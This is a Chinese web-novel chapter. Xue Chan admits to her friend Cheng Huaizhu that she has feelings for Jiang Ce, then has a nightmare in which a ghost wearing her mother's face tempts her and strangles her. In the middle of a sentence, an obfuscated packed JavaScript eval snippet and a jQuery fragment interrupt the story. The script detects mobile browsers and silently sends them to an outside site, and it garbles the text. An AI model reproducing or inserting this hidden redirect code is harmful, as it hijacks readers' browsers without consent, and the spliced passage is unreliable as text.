程怀珠进门的时候,薛婵在书案前提笔出神。
她本以为薛婵是在作画,可是走近一瞧,发从书案到地上都散着许多笔墨。
她捡起来看,是抄了许多遍的《清心决》。
程怀珠心里暗自叹了叹,她们自幼一同读书作乐,她知道她心里多纷扰。
只是这般积蓄在心里......
程怀珠牵着她出去,两人在廊下并坐。
“怀珠,如果是你,你会喜欢什么样的人呢?”
薛婵这样问,有些突然。
依照程怀珠对薛婵的了解,她是很少会因他人行为情绪而动摇自身心境的人。不知她与江策之间是否发生了什么,还是少女情窦开了,才会让她开口问这样的问题。
程怀珠想了想道:“首先,一定要长得好看。我这么好看,自然喜欢的人也不能比我差。另外嘛,一定得有趣,我最讨厌死板的人了。想想要是和一个古板得要死的人待一起过那么多年,那多没意思,我还不如不出嫁呢。”
“不过嘛,此事也很难说。”
她叹了口气又道:“也许哪天遇上了真的喜欢的人,这个人和自己想要的相去甚远。即使如此,还是会喜欢也不是不可能啊。”
程怀珠看着在若有所思的薛婵,问道:“你问这样的问题,是不是......”
薛婵直接开口。
“怀珠,我发现我有点喜欢他。”
“什么时候的事?”
“这两天的事。”
“我喜欢他,也只有那么一点点。如今还是讨厌多一些,可偏偏就是因为这样一点点的喜欢,犹犹豫豫至今,徒增烦扰。”
程怀珠抚上她的手:“峤娘,你喜欢他,那你想和他成亲吗?”
薛婵道:“我不知道。”
程怀珠没有放过她脸上的每一个情绪变化,可薛婵的“不知道”,并非茫然,是如此清晰的不知道。
若放在之前,薛婵一定会斩钉截铁地告诉程怀珠,她不喜欢,也不想成亲。
定会想方设法退去这门婚事。
如今,可她的不知道,自己也清楚地明白缘由。
这样摇摆不定的心,追根究底,是因她心生好感,心有期待。
若非如此,她绝不会允许江策在她头上蹦跶。
如今这个局面,也不过是自己有心纵容,心有留恋罢了。哪怕到了现在,她仍旧心有不忍。
薛婵觉得疲惫,将脑袋垂在她肩头。
程怀珠微微侧脸,发现薛婵竟然垂了两滴泪。
“有情真是件麻烦的事情......”
“才不是呢!”程怀珠忍不住反驳她,认真和她说,“有情是件多美好的事情呀。”
“峤娘,你是重情长情之人,我知道。”
薛婵轻轻闭上眼。
烦死了。
她靠在程怀珠肩头许久,累得睡了过去。
程怀珠帮她擦洗后才离开。
没过多久,薛婵就掀起帘坐了起来,屋子里并没有人。
她下床走到书案前,开始整理画稿,案上的书灯一点点燃尽,一下子就灭了。
有月光自小窗透入,薛婵看见屋内漂浮着许多的细细红线。
有流水一点点漫上来,漫到了她脚下。
薛婵猛地站起来,下意识抱着画想要逃离这里。
才要跑,那些细线就像活了一半缠了上来,将她死死地束缚在这一小寸之地。
那些丝线细看之下,是活的,生长的。缓缓地蠕动着,要缠上她的手臂,将她整个人都困死在这里。
“前路太难走了,留下来吧。”
“这里多好呀,你失去的,想要的都有,你为什么不愿意留下来?”
薛婵身上的丝线又缠紧了些,深深陷进皮肉里。
她轻轻笑,尽是轻蔑:“以我之才,名扬天下也好,名传千古也罢,本应如此。又何需你给予给我?”
眼前又换了场景。
小院里夫妻二人看着小姑娘笑,任由她自由得奔跑着,同秋光一样跳跃着。
薛婵眼一热,淌下泪,攥紧了手心。
“你有多久没有看见过你娘了呢?你难道不想她吗?你明明一想起来,就会哭泣。那为什么不愿意留下来?”
它不停地说,换作了记忆里母亲的声音。
“峤娘,留下来吧,留下来陪着娘吧。”
薛婵低着头,听它不断诱惑哄骗。她开始抖起来,闭上了眼睛。
它见薛婵心有动摇,于是愈发柔和,愈发亲昵,同她靠的愈发近。
“留下来吧,留下来吧,留下来吧......”
薛婵抬起脸,眼里开始失神涣散,她低声回应。
“好”
薛婵身上的丝线却开始一根根断裂,一旦有裂痕,便如迅速蜿蜒崩塌。
她尽数挣脱,奋力跃起抱着画往外跑。
薛婵感觉自己像是跑在繁台山里,滚下坡,涉下溪水。
溪水湍急,她几乎都站不住脚,可她一手护画,一手摸索着过溪。
遥遥地,薛婵见着溪岸有个人站在那里。
“娘!”
她唤了一声,奋力涉水而去。
只是溪水越来越急,越涨越高,那些细线又追了上来,缠上手手脚将她往水里溺。
薛婵扑腾着,不由得松开了手,那些书画都淹没在水里。
那都是她的画作,每一幅,每一幅......都是心血之作。
有长泪自她的脸上滑落,一滴一滴自眼眶滚出,顺着面颊滴落在水上,溅起了一阵阵小小的水花。
这些都是她,十数年的心血。如今毁尽,化作烟尘,随风无痕。
她在这世间的痕迹,也都随着画卷的消散被抹去了。
不会有人知道她的惊世之才,不会有人看到她的画作。
她的名姓,也只会淹没在长河里,成为一滴水,一颗泥沙。
“娘!”
“娘!”
她忍着呛水的疼痛,摸下自己的簪子去斩丝线。等斩断了,她才跌跌撞撞爬起来,往岸边奔去。
好不容易爬上岸,薛婵拽着母亲的衣袖:“你要去那里?你为什么不带我走?”
薛婵抹了把泪,跪行几步,殷殷切切道:“这些年我一直都记得那些话,从未辜负你的期待。”
“你看看我,你看看我。”
纵使她千般恳切,万般渴求。
母亲仍未回头。
薛婵跪在她身边,拽着她的衣角:“我真的从未懈怠过,你和我说说话吧,看一看我吧……”
“峤娘,你怎么任由那些画损毁呢?”母亲忽地转过来。
薛婵一怔,解释道:“可是我想活着……”
母亲变了脸色,她的头垂下来,越垂越低,几乎和薛婵脸贴脸,眼对眼。
无骨无皮,只不过一团血肉,不断地淌着粘腻腥气的血。
那是鬼魅,不是她娘。
薛婵霎时间就跳起来,她压着它,膝制着它,手紧钳着它黏腻又湿哒哒的手臂,将手放在了它的脖颈上,往内收紧。
她想掐死伏在身上的鬼魅。
只要它死了,她就解脱了,她就能从这无边的梦魇里出去了。
鬼魅笑着,发出“嗬嗬”声。
“你不会杀了我的。”
薛婵没有多言,只是又用力了几分,它在她手下挣扎、扭曲、变形。
可是鬼魅抬起了脸,那是血蒙蒙的一片。
它开始变化容貌,化出了张面庞灵秀飞扬的女子。那是同她母亲一模一样,没有丝毫差别的面容。
她看着薛婵,眼神温柔慈爱。
她开始凄凄落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570032|176526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泪,柔着声唤薛婵。
“峤娘”
连声音,连情都一样。
也许,这就是她娘吧,她真的很多年没有见过她娘了。
她真的......很想她。
母亲的脸因被掐着而涨的通红而狰狞,可是眼里尽是温柔悲伤,连声音都轻柔而微抖。
“峤娘,你为什么要杀了我呢?我是你的母亲啊?”
“峤娘,难道多年不见,你竟要杀了我,难道你把我忘了吗?”
“峤娘,你真的舍得杀了娘吗?”
一声一声,凄凄切切,哀神痛心。
薛婵看着自己紧掐她的手,有些怔愣。
她不自觉地一松。
只不过一瞬,从水里暴生的丝线就紧紧缠着她,四肢、腰腹都被这些血肉凝成的丝线束缚住,将她钉在地上。
挣不脱,逃不掉。
它整个伏在薛婵的身上,那张脸开始疯狂地在灵秀飞扬与模糊不清中切换。
鬼魅用着她母亲的脸和她贴得极近,甚至滴滴答答淌着腥粘的血,流下来,淌下来。
“母亲”附在她耳畔轻声问道:“你不是说,要成为最好的画师?你不是说,要名扬天下?你不是说,会让千百年后的人都记得你的名字?”
声音飘忽、森冷、尖利。
“你答应过娘的,你都忘了吗?”
“你忘了吗?”
“你忘了吗?”
“你忘了吗?”
它声音从母亲那样的温柔,在一声声中变得尖利幽森。
“你忘了吗?”
它掐着薛婵的脖颈,声音凄厉。
“你忘了吗!”
“我……”薛婵抬不起手,只能任由自己逐渐窒息,她开始控制不住抖起来,从艰难地从喉咙里滚出几个简短零散的字句。
眼泪从眼角淌出来,洇湿了衣襟。
“回答我!”
她失力,妥协。
“我……没有忘记......”
程怀珠因着薛婵的心绪不佳,故而迟迟未能睡着,所以薛婵的屋内一有了动静,她就奔下床往外跑。
明夏提着鞋也连忙追出去:“姑娘,夜里凉穿上鞋再去!”
程怀珠一手夺过鞋,一边踉踉跄跄,一边穿鞋奔进薛婵的房内。
初桃打起了帐子,云生忍着泪伏在床边轻唤薛婵。
可是薛婵只是紧紧闭着眼,躺在床上,攥着拳整个人不断地颤抖。
她静默着,颤抖着,挣扎着。
只有眼泪在流动,顺着她的眼角往下不停的往下落,早已洇湿枕被。
程怀珠立刻伏跪在她床边,握着她的手,声音也早就有了浓浓的哭腔。
“峤娘”
薛婵猛地睁眼,骤然脱离梦魇,尽是劫后余生的恐惧与痛苦,像是离岸已久即将干咳而死的鱼,赶着天降甘霖汲取水分,她疯狂喘着气,不断地起伏。
她望着头顶的幔帐,哀哀凄凄,毫无生气。
那是无声的痛苦与崩溃。
薛婵转动眼珠,看见伏在床边不停哭的程怀珠时,才觉得自己还是活着的,是真实的。
她露出一抹笑意。
“怀珠......”
她声音干哑发涩,却还在尽力扯出笑。
程怀珠宁愿她不笑,有热泪顷刻间滚了出来,混在一起,谁也不知道是谁的了。
她立刻紧紧握着她的手道:“我在的,我在的,你不要害怕,我会一直在的。”
程怀珠坐在了床边,将薛婵扶坐起来,揽着她,让她卧在自己怀间,靠在肩头。
谁也没有说话。
薛婵靠在程怀珠怀里,怔然望着那挂在床头的羊角宫灯,映在铜钩上,泛着淡淡的光。
长夜寂寂,她像棵枯败的草木,奄奄无力,只有眼泪汹涌。